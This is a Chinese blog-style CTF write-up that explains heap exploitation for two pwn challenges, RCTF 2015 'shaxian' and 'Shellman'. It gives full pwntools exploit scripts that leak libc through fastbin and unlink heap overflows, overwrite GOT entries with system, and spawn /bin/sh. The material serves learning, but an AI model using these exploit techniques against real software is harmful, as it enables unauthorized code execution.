热门标签 | HotTags
当前位置:  开发笔记 > 编程语言 > 正文

深入解析CTF中的PWN挑战:Fastbin与堆溢出

本文将探讨2015年RCTF竞赛中的一道PWN题目——shaxian,重点分析其利用Fastbin和堆溢出的技巧。通过详细解析代码流程和漏洞利用过程,帮助读者理解此类题目的破解方法。
在本次分析中,我们将聚焦于2015年RCTF竞赛中的一道PWN题目——shaxian,探讨其关键点在于堆溢出技术的应用。首先,我们来看一下该题目的大致代码流程。

![代码流程图](https://www.#.com/go/aHR0cHM6Ly9pbWFnZXMyMDE1LmNuYmxvZ3MuY29tL2Jsb2cvMTAyNDE5OC8yMDE3MDEvMTAyNDE5OC0yMDE3MDEwMTEwNDIwODEzMi05MTg0NTM4MDQucG5n)

从代码中可以看出,该题目主要依赖于Fastbin机制进行漏洞利用。由于分配堆之后直接进行写操作,因此使用了fastbin来实现任意读写功能。具体来说,通过覆盖now指针可以达到这一目的。

以下是针对此题目的EXP示例代码:

```python
from pwn import *

DEBUG = 1
LOCAL = 1
VERBOSE = 1
atoi_got = 0x804b038

if LOCAL:
r = process('shaxian')
else:
r = remote('127.0.0.1', 1001)

if DEBUG:
gdb.attach(r)

if VERBOSE:
context(log_level='debug')

def dcai(payload, number=0):
r.sendline('1')
r.recvuntil('Jianjiao')
r.sendline(payload)
r.recvuntil('How many?')
r.sendline(str(number))
r.recvuntil('choose:')

def submit():
r.sendline('2')
r.recvuntil('Your order has been submitted!')
r.recvuntil('choose:')

r.recvuntil('Address:')
r.sendline(p32(0) + p32(0x31))
r.recvuntil('Your Phone number:')
r.sendline('a' * 0xf0 + p32(0) + p32(0x31))
r.recvuntil('choose:')

payload = 'B' * 24 + p32(0) + p32(0x31) + p32(0x804b02c) # puts
dcai(payload)
r.sendline('4')
r.recvuntil('* ')
r.recvuntil('* ')
puts = int(r.recvuntil('\n').strip('\n')) & 0xffffffff

libc = puts - 0x657e0
print 'libc:', hex(libc)
system = libc + 0x40310
print 'system:', hex(system)
low8_system = (system <<8) % pow(2, 32)
payload = 'C' * 24 + p32(0) + p32(0x31) + p32(0x804b1b8)
dcai(payload)
raw_input('before')
submit()
raw_input('after')
payload = 'a' * 4 + p32(atoi_got - 1)
dcai(payload, low8_system)

r.sendline('/bin/sh')
r.interactive()
r.sendline('ls')
r.recv()
```

接下来,我们通过另一个PWN题目Shellman来进一步理解bins溢出的利用方法。这个题目与前文提到的freenote非常相似,但更加简化。以下是针对Shellman的EXP示例代码:

```python
from pwn import *

DEBUG = 0
LOCAL = 1
VERBOSE = 1

if LOCAL:
p = process('./shellman')
else:
p = remote('127.0.0.1', 6666)

if DEBUG:
gdb.attach(p)

if VERBOSE:
context(log_level='debug')

p.recvuntil('>')

def list_():
p.sendline('1')
k = p.recvuntil('>')
return k

def new(payload):
p.sendline('2')
p.recvuntil('Length of new shellcode:')
p.sendline(str(len(payload)))
p.recvuntil('Enter your shellcode(in raw format):')
p.send(payload)
p.recvuntil('>')

def edit(payload, num=0):
p.sendline('3')
p.recvuntil('Shellcode number:')
p.sendline(str(num))
p.recvuntil('Length of shellcode:')
p.sendline(str(len(payload)))
p.recvuntil('Enter your shellcode:')
p.send(payload)
p.recvuntil('>')

def delete(num=0):
p.sendline('4')
p.recvuntil('Shellcode number:')
p.sendline(str(num))
p.sendline(str(num))

first_size = 0x30
second_size = 0xa0

new('a' * first_size) # at 0x0079e010
new('b' * second_size) # at 0x0079e050
new('/bin/sh;')

PREV_IN_USE = 0x1
prev_size_0 = p64(0)
size_0 = p64(first_size | PREV_IN_USE)
fd_0 = p64(0x006016d0 - 0x18) # bk offset
bk_0 = p64(0x006016d0 - 0x10) # fd offset
user_data = 'm' * (first_size - 0x20) # 0x20 = chunk header size
prev_size_1 = p64(first_size)
size_1 = p64((second_size + 0x10) & (~PREV_IN_USE)) # make first chunk free

edit(prev_size_0 + size_0 + fd_0 + bk_0 + user_data + prev_size_1 + size_1)
# begin
delete(1)
# after unlink then *0x6016d0 == 0x6016b8, let's corrupt 0x6016d0 with libc_free_got
rubbish = 'whatthis'
is_shellcode_exist = p64(0x1)
shellcode_size = p64(0x8)
libc_free_got = p64(0x00601600)

edit(rubbish + is_shellcode_exist + shellcode_size + libc_free_got)
free_address = list_().split(': ')[1][0:16]

free_address = int(''.join(free_address[i:i+2] for i in range(14, -2, -2)), 16)
print 'free_address:', hex(free_address)
libc = free_address - 0x82d00
print 'libc_address:', hex(libc)
system = libc + 0x46590
print 'system_address:', hex(system)
edit(p64(system))
# just free
delete(2)
p.interactive()
```

通过上述代码示例,我们可以更深入地理解PWN题目的解题思路和技术细节。希望这些内容能够帮助读者更好地掌握PWN挑战的核心技巧。
推荐阅读
  • 本文详细介绍了Java中org.neo4j.helpers.collection.Iterators.single()方法的功能、使用场景及代码示例,帮助开发者更好地理解和应用该方法。 ... [详细]
  • golang常用库:配置文件解析库/管理工具viper使用
    golang常用库:配置文件解析库管理工具-viper使用-一、viper简介viper配置管理解析库,是由大神SteveFrancia开发,他在google领导着golang的 ... [详细]
  • 本文将介绍如何编写一些有趣的VBScript脚本,这些脚本可以在朋友之间进行无害的恶作剧。通过简单的代码示例,帮助您了解VBScript的基本语法和功能。 ... [详细]
  • Explore a common issue encountered when implementing an OAuth 1.0a API, specifically the inability to encode null objects and how to resolve it. ... [详细]
  • 本文基于刘洪波老师的《英文词根词缀精讲》,深入探讨了多个重要词根词缀的起源及其相关词汇,帮助读者更好地理解和记忆英语单词。 ... [详细]
  • 1.如何在运行状态查看源代码?查看函数的源代码,我们通常会使用IDE来完成。比如在PyCharm中,你可以Ctrl+鼠标点击进入函数的源代码。那如果没有IDE呢?当我们想使用一个函 ... [详细]
  • 本文详细介绍了如何使用 Yii2 的 GridView 组件在列表页面实现数据的直接编辑功能。通过具体的代码示例和步骤,帮助开发者快速掌握这一实用技巧。 ... [详细]
  • 前言--页数多了以后需要指定到某一页(只做了功能,样式没有细调)html ... [详细]
  • 本文详细介绍了Akka中的BackoffSupervisor机制,探讨其在处理持久化失败和Actor重启时的应用。通过具体示例,展示了如何配置和使用BackoffSupervisor以实现更细粒度的异常处理。 ... [详细]
  • 优化ListView性能
    本文深入探讨了如何通过多种技术手段优化ListView的性能,包括视图复用、ViewHolder模式、分批加载数据、图片优化及内存管理等。这些方法能够显著提升应用的响应速度和用户体验。 ... [详细]
  • 本文详细介绍了 GWT 中 PopupPanel 类的 onKeyDownPreview 方法,提供了多个代码示例及应用场景,帮助开发者更好地理解和使用该方法。 ... [详细]
  • 计算机网络复习:第五章 网络层控制平面
    本文探讨了网络层的控制平面,包括转发和路由选择的基本原理。转发在数据平面上实现,通过配置路由器中的转发表完成;而路由选择则在控制平面上进行,涉及路由器中路由表的配置与更新。此外,文章还介绍了ICMP协议、两种控制平面的实现方法、路由选择算法及其分类等内容。 ... [详细]
  • 导航栏样式练习:项目实例解析
    本文详细介绍了如何创建一个具有动态效果的导航栏,包括HTML、CSS和JavaScript代码的实现,并附有详细的说明和效果图。 ... [详细]
  • 本文介绍了如何使用JQuery实现省市二级联动和表单验证。首先,通过change事件监听用户选择的省份,并动态加载对应的城市列表。其次,详细讲解了使用Validation插件进行表单验证的方法,包括内置规则、自定义规则及实时验证功能。 ... [详细]
  • 本文详细介绍了Java中org.eclipse.ui.forms.widgets.ExpandableComposite类的addExpansionListener()方法,并提供了多个实际代码示例,帮助开发者更好地理解和使用该方法。这些示例来源于多个知名开源项目,具有很高的参考价值。 ... [详细]
author-avatar
秘色瓷2502891691
这个家伙很懒,什么也没留下!
PHP1.CN | 中国最专业的PHP中文社区 | DevBox开发工具箱 | json解析格式化 |PHP资讯 | PHP教程 | 数据库技术 | 服务器技术 | 前端开发技术 | PHP框架 | 开发工具 | 在线工具
Copyright © 1998 - 2020 PHP1.CN. All Rights Reserved | 京公网安备 11010802041100号 | 京ICP备19059560号-4 | PHP1.CN 第一PHP社区 版权所有